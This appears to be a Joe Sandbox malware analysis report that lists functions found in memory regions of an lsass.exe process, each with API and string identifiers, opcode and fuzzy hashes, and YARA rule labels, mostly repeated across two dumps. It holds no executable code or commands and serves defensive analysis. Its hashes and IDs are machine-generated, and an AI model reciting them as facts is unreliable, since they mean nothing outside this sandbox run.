                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Thread$Current$Context
                                            • String ID:
                                            • API String ID: 1666949209-0
                                            • Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                            • Instruction ID: 082a9d93261c48ee679b36a2734b52a2479ae609a7ebdf301e1be071b0282b61
                                            • Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                            • Instruction Fuzzy Hash: C1D18936205F88C5EA70DB86E49835E77A0F798B88F150517EA8D47BA6DF38CA55CB00
                                            Function 00000202C0AE5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Thread$Current$Context
                                            • String ID:
                                            • API String ID: 1666949209-0
                                            • Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                            • Instruction ID: dbc3b65819fd6533e59164d32a3bb8f97f2c88b353aa9b524f2c9543e34d3ae7
                                            • Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                            • Instruction Fuzzy Hash: 30D18776205B88C6EA70DB1AE49835E77A0F388B88F110517EADE47BA6DF3CC555CB40
                                            Function 00000202C0B42F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID: dialer
                                            • API String ID: 756756679-3528709123
                                            • Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction ID: b1ab9f40b1b022d4ca432ff24e07bc5572fa7a11743250ed673a526c4c5375f9
                                            • Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction Fuzzy Hash: 3831BD22701F51C2FA54CF96E58C72D67A0FB64B88F4A41239F4847B57EF34C9A98300
                                            Function 00000202C0AE2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID: dialer
                                            • API String ID: 756756679-3528709123
                                            • Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction ID: 539d7fa312dabe0a02a4a36991552fccd56336bf33b53f387f86ad28829e058b
                                            • Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction Fuzzy Hash: 18319D22701B91C2FA14CF16A98C72DA7A0FB44B84F0A41279F9847B67EF35C4B98740
                                            Function 00000202C0B4CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast
                                            • String ID:
                                            • API String ID: 2506987500-0
                                            • Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction ID: eb53f131f87901231c0a27538f4d99e0b73b6215208e06d7d335de92b87f5561
                                            • Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction Fuzzy Hash: E1117F20304790C1FE69E7B155DD32D2252ABA4BFCF170727A836477DBDE289E4D8200
                                            Function 00000202C0AECFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast
                                            • String ID:
                                            • API String ID: 2506987500-0
                                            • Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction ID: c83c6b407707b4dbc6b3b7b82b2caed50328515e1eb0a43fe36386d7293909be
                                            • Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction Fuzzy Hash: 0A1163203013C0C6FE68A73555DD72D6242AB987F4F164727EAB7477E7EE68C86A8700
                                            Function 00000202C0B4199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
                                            • String ID:
                                            • API String ID: 517849248-0
                                            • Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction ID: a6561bdb165a881d15422f835cadb1e13ccb21f1502ce777dd17883e3612e1f0
                                            • Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction Fuzzy Hash: 8F013521700B41C2FA54DB52A88C36D63A9B788FC8F894477DE5953756DE38C9898700
                                            Function 00000202C0AE199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
                                            • String ID:
                                            • API String ID: 517849248-0
                                            • Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction ID: c1f12f185a365d98643c548e91b1e72bf4effc7dbd05845da70183f29bcaf82d
                                            • Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction Fuzzy Hash: DD010532301B80C2FA649B52A89C75963A9B788FC4F894137DF9A43766DE39C989C740
                                            Function 00000202C0B436C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
                                            • String ID:
                                            • API String ID: 449555515-0
                                            • Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction ID: 74fd01a74412d06a4f1fde6f711d275a3bc9d19be57d7f81b4b0cffb2d4478c7
                                            • Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction Fuzzy Hash: 8A012965711B41C2FB24DB62E88C75E63A4BB59B8AF0A0467CE49077A6EF3DC94C8700
                                            Function 00000202C0AE36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
                                            • String ID:
                                            • API String ID: 449555515-0
                                            • Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction ID: 164501a6415bffd66fe917e88f769ddc3ad1f1b40aa64bea97b79c9247d2f77e
                                            • Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction Fuzzy Hash: B5012DB6611B40C2FB249B21E88C71E73A4BB45B86F154527CF9907766EF3EC55C8704
                                            Function 00000202C0B48FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 2395640692-629598281
                                            • Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                            • Instruction ID: cdf4f2fb1187d6a8dcbafb28738f89d68df44d9043d5a640eb90c02eb8421405
                                            • Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                            • Instruction Fuzzy Hash: 2B51BC32201702EAFB14CB55E88CB5D37A6F364B8CF128127DA565378AEB35CE49C708
                                            Function 00000202C0AE8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 2395640692-629598281
                                            • Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                            • Instruction ID: 4b0a6f3e062a47a2f3e77ad4f28d0830188973ba44af3f5408a27d7634b4296d
                                            • Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
                                            • Instruction Fuzzy Hash: 6751BF32201B81CAFB94CF15E88CB5D3795F344B88F528227DBA64774AEB35C859C708
                                            Function 00000202C0B41A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: FinalHandleNamePathlstrlen
                                            • String ID: \\?\
                                            • API String ID: 2719912262-4282027825
                                            • Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction ID: 020cede8a7a987332edfbf5aca9d92e432b968816ab88e3e30adde122549f28e
                                            • Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction Fuzzy Hash: D2F03C22704741D2FB60CBA5E8CC75E6765F758BCCF854023DA4947956DE6CCA8DCB00
                                            Function 00000202C0B43044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: CombinePath
                                            • String ID: \\.\pipe\
                                            • API String ID: 3422762182-91387939
                                            • Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction ID: 5d9cbfb492b0178b2b911afb72d4c9bd8dfc2e2cf28399869c02c77398260dad
                                            • Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction Fuzzy Hash: BBF08220708B81C2FE54CB57B99C21D6264AB48FD8F094173EE4607B1ADF3CC98D8704
                                            Function 00000202C0B4BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: AddressFreeHandleLibraryModuleProc
                                            • String ID: CorExitProcess$mscoree.dll
                                            • API String ID: 4061214504-1276376045
                                            • Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction ID: 645132413f0d5c41dbedb974bd271ef1814a753cdf3104992c7f24d066aaf9fd
                                            • Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction Fuzzy Hash: 73F06261311B05C1FB10CB64E4CC75D6320EB88769F55025BDA6A461E6CF2CC94CC740
                                            Function 00000202C0AE3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: CombinePath
                                            • String ID: \\.\pipe\
                                            • API String ID: 3422762182-91387939
                                            • Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction ID: 748eaec06fdd8304175141e91d7fcb10eea3299cf276c1654e8c92baf0a6311d
                                            • Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction Fuzzy Hash: 6DF01C66718B84C2FA148B53B99C11D6665AB48FD0F0A9233EF5A4BB2ADF3DC45D8700
                                            Function 00000202C0AEBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: AddressFreeHandleLibraryModuleProc
                                            • String ID: CorExitProcess$mscoree.dll
                                            • API String ID: 4061214504-1276376045
                                            • Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction ID: b1dae043e590163143f4e82ec39ab210fa29368e4bf0a17308b2a9fdf74dbffb
                                            • Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction Fuzzy Hash: 65F06262211B45C1FB108B24E8CC35E6360EB88765F55021BCB6A452F6DF3DC55C8700
                                            Function 00000202C0B450D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                            • Instruction ID: 3fed152e6cff7dccc901cbea7ee32e5366edeb575043839d1dac5842a2deb3ef
                                            • Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                            • Instruction Fuzzy Hash: 9802BB32619B84C6E760CB95E59835EB7A0F3D4794F110417EA8E87B6ADF7CC958CB00
                                            Function 00000202C0AE50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                            • Instruction ID: cdd9b78ec5eaf04cb1b2f14923f4cedba8257b9bf05445ea44050982a578b50b
                                            • Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                            • Instruction Fuzzy Hash: 6C02A432219B84C6EB60CB55F49875EB7A1F384794F110117EBDE87BAADB78C498CB00
                                            Function 00000202C0B45710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                            • Instruction ID: 77d1f7d05a3ad9f64fc2c1a5073131f9b872f7803a0cba496c3396a3ccaf51c6
                                            • Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                            • Instruction Fuzzy Hash: 61619736519B44C6F660CB95E58C31E77A0F398798F111117EA8D47BAADB78CA48CB00
                                            Function 00000202C0AE5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                            • Instruction ID: 76b413ec14e38a6ac9e88e25468b0616ac705ba1cdb0ca70ff7d6d8fad0dbab9
                                            • Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                            • Instruction Fuzzy Hash: 6061B676619B80C6F660CB15F48871E77A0F388794F110517EBDE47BAADB78C968CB40
                                            Function 00000202C0AC3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245272060.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: 2438009d4eccd0bfdc5c9a2303f4341fa76b055f83bc79e43529a95e1e4287f6
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: 5B112533A5CF09C9FAA42128E4CE37D10D07B59370F4B863BAB76163E7CA6AC84C4201
                                            Function 00000202C0B54104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: a27617d20751772c0d2e6d2b58e970e4ca10ba7ae22a2201759a8aa1afc7c419
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: EB112322A00F5091F6A49128D4DD36D88106B783FCF0B06A7A936276D7CB74CCCD6200
                                            Function 00000202C0AF4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: aadaf6c08f9748136de9f6cbceaa287ca2a5a32013c1ebda6f4ef6558c209bf0
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: EE119E23A10B54A9F7641568E8DE36D11406B683F8F0A0727AB76076EB8B2AC8CD424C
                                            Function 00000202C0ABF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245272060.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd
                                            Similarity
                                            • API ID: _invalid_parameter_noinfo
                                            • String ID: Tuesday$Wednesday$or copy constructor iterator'
                                            • API String ID: 3215553584-4202648911
                                            • Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction ID: 26cf979074d90fcf05d85e544fcdcf7579b7cc95cef60043f929738aa5a5c4dc
                                            • Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction Fuzzy Hash: F2610536600760C6FA69DB69E5CC76E6AA0F789780F5B8917CB0A177A7DB34C84DC300
                                            Function 00000202C0B4AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: CallEncodePointerTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3544855599-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: 1082c6acd1cc596f15c131e8822e091c6a91a0a8de98abab672acc75df972cb0
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: EB613B32600B44CAFB50DFA5D48839D77A1F368B8CF154217EE4927B9ADB78DA59C700
                                            Function 00000202C0AEAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245368518.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd
                                            Similarity
                                            • API ID: CallEncodePointerTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3544855599-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: 558256b13703980bb35bc78ab76fb44dce15fdc78b8fdb1fb2b32ce49efec02f
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: 36614832600B84CAFB20DF65D48839D77A0F399B88F154217EF9917B9ADB78D5A9C700
                                            Function 00000202C0ABA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245272060.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: 19c43cd71e60161d93812c77d0e4ac8737510cff6eeb5711627b4654a467fa8f
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: 44516D36104780CAFB748B25959C39C7BA0F365B94F1A8217DB998BBD7CB39D499C700
                                            Function 00000202C0B4AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001F.00000002.3245577181.00000202C0B40000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0B40000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_31_2_202c0b40000_lsass.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: 02eca69797dd3fc95978741111c5327d76f7dc405fd09751aa7a5e218e1104e0
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: B2514A72100380CAFB64CF9595CC35D77A0F364B99F164127EA9997AD6CB38DA99CB00
                                            Function 00000202C0AEAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
